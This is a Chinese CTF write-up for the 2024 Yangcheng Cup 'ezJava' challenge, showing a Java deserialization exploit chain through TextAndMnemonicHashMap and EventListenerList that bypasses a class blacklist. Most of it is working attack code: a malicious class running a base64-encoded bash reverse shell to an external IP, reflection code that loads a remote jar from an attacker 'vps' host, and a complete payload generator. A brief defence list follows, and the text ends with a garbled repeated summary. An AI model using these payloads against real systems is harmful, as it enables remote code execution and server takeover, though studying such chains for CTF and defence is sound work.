2024羊城杯ezJava EventListenerList新链反序列化
字数 1102 2025-08-24 07:48:23

Java反序列化漏洞利用教学:基于EventListenerList和TextAndMnemonicHashMap的新链

1. 环境分析

1.1 依赖项分析

题目提供的JAR包包含以下关键依赖:

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-core</artifactId>
        <version>1.2.4</version>
    </dependency>
    <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-spring</artifactId>
        <version>1.2.4</version>
    </dependency>
    <dependency>
        <groupId>org.mariadb.jdbc</groupId>
        <artifactId>mariadb-java-client</artifactId>
        <version>2.7.2</version>
    </dependency>
    <!-- 其他依赖省略 -->
</dependencies>

1.2 反序列化过滤

MyObjectInputStream类通过resolveClass方式过滤了以下危险类:

"java.lang.Runtime"
"java.lang.ProcessBuilder"
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
"java.security.SignedObject"
"com.sun.jndi.ldap.LdapAttribute"
"org.apache.commons.beanutils"
"org.apache.commons.collections"
"javax.management.BadAttributeValueExpException"
"com.sun.org.apache.xpath.internal.objects.XString"

2. 漏洞利用思路

2.1 关键利用点

  1. User类反射调用URLClassLoader#addURL:通过反射方式调用URLClassLoader#addURL(this.username)方法
  2. 协议限制:禁止了httpfile协议,但可以使用jar协议绕过
  3. Shiro路径限制:路径匹配被严格限制

2.2 攻击步骤

  1. 构造恶意Calc类,在staticreadObject方法中放置反弹shell代码
  2. 使用admin/admin888登录后台
  3. 通过/user/ser接口反序列化触发User#getGift方法,将远程jar包路径添加到URLClassLoader
  4. 再次通过/user/ser接口触发Calc类的反序列化,从远程jar包加载并执行恶意代码

3. 恶意类构造

3.1 反弹shell类示例

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class exp implements Serializable {
    static String code = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}";
    
    static {
        try {
            Runtime.getRuntime().exec(code);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    
    private void readObject(ObjectInputStream in) throws Exception {
        Runtime.getRuntime().exec(code);
    }
}

编译并打包:

javac exp.java
jar -cvf exp.jar exp.class

3.2 URLClassLoader利用

import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoaderAddURLTest {
    public static void main(String[] args) throws Exception {
        String gift = "jar:http://vps:8999/exp.jar!/";
        URL url1 = new URL(gift);
        Class<?> URLclass = Class.forName("java.net.URLClassLoader");
        Method add = URLclass.getDeclaredMethod("addURL", URL.class);
        add.setAccessible(true);
        URLClassLoader classloader = (URLClassLoader) ClassLoader.getSystemClassLoader();
        add.invoke(classloader, url1);
    }
}

4. 反序列化链构造

4.1 方法一:TextAndMnemonicHashMap链

利用javax.swing.UIDefaults.TextAndMnemonicHashMaptoString链:

public static HashMap maskmapToString(Object o1, Object o2) throws Exception {
    Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
    Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
    tHashMap1.put(o1, null);
    tHashMap2.put(o2, null);
    setFieldValue(tHashMap1, "loadFactor", 1);
    setFieldValue(tHashMap2, "loadFactor", 1);
    
    HashMap hashMap = new HashMap();
    Class node = Class.forName("java.util.HashMap$Node");
    Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
    constructor.setAccessible(true);
    
    Object node1 = constructor.newInstance(0, tHashMap1, null, null);
    Object node2 = constructor.newInstance(0, tHashMap2, null, null);
    
    Field key = node.getDeclaredField("key");
    Field modifiers = Field.class.getDeclaredField("modifiers");
    modifiers.setAccessible(true);
    modifiers.setInt(key, key.getModifiers() & ~Modifier.FINAL);
    key.setAccessible(true);
    key.set(node1, tHashMap1);
    key.set(node2, tHashMap2);
    
    Field size = HashMap.class.getDeclaredField("size");
    size.setAccessible(true);
    size.set(hashMap, 2);
    
    Field table = HashMap.class.getDeclaredField("table");
    table.setAccessible(true);
    Object arr = Array.newInstance(node, 2);
    Array.set(arr, 0, node1);
    Array.set(arr, 1, node2);
    table.set(hashMap, arr);
    
    return hashMap;
}

4.2 方法二:EventListenerList链

利用EventListenerListreadObject触发toString

// 链式调用
EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>

具体实现:

// 删除BaseJsonNode#writeReplace方法以便序列化
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();

// 构造POJONode
POJONode node = new POJONode(user);

// 构造EventListenerList链
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[]{Map.class, manager});

5. 完整Payload生成

import com.example.ycbjava.bean.User;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Exp {
    public static void main(String[] args) throws Exception {
        User user = new User();
        user.setUsername("jar:http://vps:8999/exp.jar!/");
        
        // 删除BaseJsonNode#writeReplace方法用于顺利序列化
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();
        
        POJONode node = new POJONode(user);
        HashMap hashMap = makeHashMapByTextAndMnemonicHashMap(node);
        byte[] bytes = serialize(hashMap);
        System.out.println(Base64.getEncoder().encodeToString(bytes));
    }
    
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        return baos.toByteArray();
    }
    
    public static HashMap makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception {
        Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
        Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
        tHashMap1.put(toStringClass, "123");
        tHashMap2.put(toStringClass, "12");
        setFieldValue(tHashMap1, "loadFactor", 1);
        setFieldValue(tHashMap2, "loadFactor", 1);
        
        HashMap hashMap = new HashMap();
        hashMap.put(tHashMap1, "1");
        hashMap.put(tHashMap2, "1");
        tHashMap1.put(toStringClass, null);
        tHashMap2.put(toStringClass, null);
        return hashMap;
    }
    
    public static Object getObjectByUnsafe(Class clazz) throws Exception {
        Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        return unsafe.allocateInstance(clazz);
    }
    
    public static void setFieldValue(Object obj, String key, Object val) throws Exception {
        Field field = null;
        Class clazz = obj.getClass();
        while(true){
            try {
                field = clazz.getDeclaredField(key);
                break;
            } catch(NoSuchFieldException e){
                clazz = clazz.getSuperclass();
            }
        }
        field.setAccessible(true);
        field.set(obj, val);
    }
}

6. 防御措施

  1. 升级依赖:更新Shiro和其他依赖到最新版本
  2. 严格过滤:完善反序列化过滤机制,不仅过滤类名,还要检查类内容
  3. 协议限制:限制URLClassLoader可加载的协议类型
  4. 权限控制:限制反射操作,特别是Method.setAccessible等危险操作
  5. 输入验证:对所有反序列化输入进行严格验证

7. 总结

本文详细分析了两种新的Java反序列化利用链:

  1. 基于TextAndMnemonicHashMaptoString
  2. 基于EventListenerListreadObject触发链

这两种方法都绕过了传统的黑名单过滤机制,通过精心构造的链式调用最终实现远程代码执行。理解这些利用技术有助于开发者更好地防御反序列化漏洞。

Java反序列化漏洞利用教学:基于EventListenerList和TextAndMnemonicHashMap的新链 1. 环境分析 1.1 依赖项分析 题目提供的JAR包包含以下关键依赖: 1.2 反序列化过滤 MyObjectInputStream 类通过 resolveClass 方式过滤了以下危险类: 2. 漏洞利用思路 2.1 关键利用点 User类反射调用URLClassLoader#addURL :通过反射方式调用 URLClassLoader#addURL(this.username) 方法 协议限制 :禁止了 http 和 file 协议,但可以使用 jar 协议绕过 Shiro路径限制 :路径匹配被严格限制 2.2 攻击步骤 构造恶意 Calc 类,在 static 和 readObject 方法中放置反弹shell代码 使用admin/admin888登录后台 通过 /user/ser 接口反序列化触发 User#getGift 方法,将远程jar包路径添加到URLClassLoader 再次通过 /user/ser 接口触发 Calc 类的反序列化,从远程jar包加载并执行恶意代码 3. 恶意类构造 3.1 反弹shell类示例 编译并打包: 3.2 URLClassLoader利用 4. 反序列化链构造 4.1 方法一:TextAndMnemonicHashMap链 利用 javax.swing.UIDefaults.TextAndMnemonicHashMap 的 toString 链: 4.2 方法二:EventListenerList链 利用 EventListenerList 的 readObject 触发 toString : 具体实现: 5. 完整Payload生成 6. 防御措施 升级依赖 :更新Shiro和其他依赖到最新版本 严格过滤 :完善反序列化过滤机制,不仅过滤类名,还要检查类内容 协议限制 :限制URLClassLoader可加载的协议类型 权限控制 :限制反射操作,特别是Method.setAccessible等危险操作 输入验证 :对所有反序列化输入进行严格验证 7. 总结 本文详细分析了两种新的Java反序列化利用链: 基于 TextAndMnemonicHashMap 的 toString 链 基于 EventListenerList 的 readObject 触发链 这两种方法都绕过了传统的黑名单过滤机制,通过精心构造的链式调用最终实现远程代码执行。理解这些利用技术有助于开发者更好地防御反序列化漏洞。